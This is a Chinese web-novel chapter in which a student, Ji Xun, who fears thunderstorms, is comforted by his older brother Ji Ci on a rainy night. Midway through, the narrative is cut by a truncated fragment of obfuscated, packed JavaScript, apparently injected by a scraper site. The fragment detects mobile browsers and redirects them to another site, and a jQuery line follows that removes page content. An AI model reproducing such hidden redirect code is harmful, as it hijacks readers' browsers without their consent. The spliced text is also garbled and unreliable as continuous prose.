三模之后，上学期只剩最后一个月。 季珣开心自己有了爷爷，又难过爷爷的身体状况看起来不太好。 下午放学，季珣去老宅看过爷爷，坐公交车回家的路上，看到天色暗沉，天空积着厚厚的乌云，俨然酝酿着一场深秋的寒雨。 下车的时候，果然下起了雨。 冷风在暮色中乱窜，发出凄厉的呼啸声，季珣没带伞，只能从小区门口跑了一路。 冲进家门的时候，雨大了起来，发出沙沙的声音。 季珣心惊，随便吃了两口饭就赶紧躲回了自己的房间里，紧紧地拉上窗帘。 他很害怕闪电打雷的天气，连带着也开始害怕雨天。 以前和聋哑老人住的那个院子太破，土墙坍塌，屋顶破漏，好多窗户连玻璃都没有。 每次下雨，雨水都会肆无忌惮地冲进院子。 闪电和雷鸣更是像要将这座小院撕裂一般。 有一次，雷电从天而降，直直地劈落在院墙的野草上，点燃了野草。 从那天起，季珣就开始害怕雷电和雨天。 坐在书桌前看了会书，爬到床上，掀起一小缝窗帘。 外面，雨势并没有减弱的迹象，雨丝飞扬，在窗户上蜿蜒出道道水迹。 巨大的别墅在夜色中，像一头巨兽。 不知道雨什么时候停，希望不要打雷。 正要重新拉紧窗帘，看到下面的花园里，季辞从大门外走进来。 他没撑伞，任凭雨水洒在头上。 季珣知道他平时喝了酒，不能开车要么是王叔去接，要么就是打车回家。 结果今天王叔没去接就遇到大雨。 赶紧出门，拿了雨伞跑到花园去接他。 季珣只拿了一把伞，个子没他高，只能把手举高替他挡雨。 另一侧，斜飞的雨水都洒在了肩上。 季辞看了眼，伸手把伞接过去，轻松举高，另一只手臂绕过季珣的肩膀，把人搂进怀里。 季珣闻到他身上淡淡的酒气，心跳有些快，和他贴在一起穿过花园，跑进客厅。 “今晚雨好大，天气应该马上就冷下来了。” “嗯。”季辞松开人，抖落雨伞上的雨水，把潮湿的雨伞放到旁边。 一阵带着寒意的风吹进客厅，他重重地打了个喷嚏。 出租车只到小区门口，这个别墅小区大，他淋了一路，季珣不禁担忧：“是不是淋雨受凉了？” 季辞想了想，“好像有点不舒服。” “我去给你煮碗姜茶去去寒吧。” “嗯，我先上去洗澡。” 季珣到厨房煮了姜茶，端上楼，敲开门。 季辞刚洗完澡，揉着湿发，往旁边让开。 季珣把碗放到桌上。 尽管别墅隔音很好，屋外的雨声却还是越来越大。 季珣站在窗边往外看。远处，漆黑的天边，一道闪电如裂帛般划过。知道很快就要传来雷声，季珣赶紧捂住耳朵，闭起眼睛。 几秒后，犹如巨石滚过般的轰隆声闷闷地传来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154580|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季珣把耳朵压得更紧。片刻之后，才慢慢放开。 睁开眼，看到的是季辞关切的眼神，“你怎么了？” 季珣不好意思说自己害怕雷声，摇头，“没什么。” 外面雨势渐大，季珣只想赶紧回房间，把自己裹进被子里。 走过去，拿起空了的姜茶碗，“哥，你早点休息。” 正要出门，又一道闪电从走廊尽头的拱形窗户外，如撕裂锦帛般划过，把黯淡的走廊映得亮如白昼。 季珣赶紧捂住耳朵，下一瞬，手腕被握住，然后动作轻缓地拉进怀抱。 “没事，不用怕，哥哥在这里。” 轰隆隆的雷声响起，但耳边却是这道温和的声线。 如同一片潮湿雾气，把震动天地的雷声都氤氲得模糊，失去了狰狞的面目。 融融的暖意环绕着自己，季珣靠在他胸口，心脏一阵阵地发软。 “你很怕打雷么？”季辞问。 季珣小声地告诉他，“小时候，我亲眼看到闪电劈下来，烧焦了树木和花草。” 那时，八九岁的小季珣只觉得下一秒，自己也会变成那副焦黑的模样，恐惧地蜷缩在床上，瑟瑟发抖，不敢入睡。 没有人安抚他，也没有人告诉他，世界真正的面目是什么样。 “所以，我一直很害怕雷雨天。” 走廊里静了静，又一道闪电划过。 怀里的人控制不住地瑟缩了一下，季辞把他抱得更紧，轻声开口：“那就别走了，今晚和我睡吧。”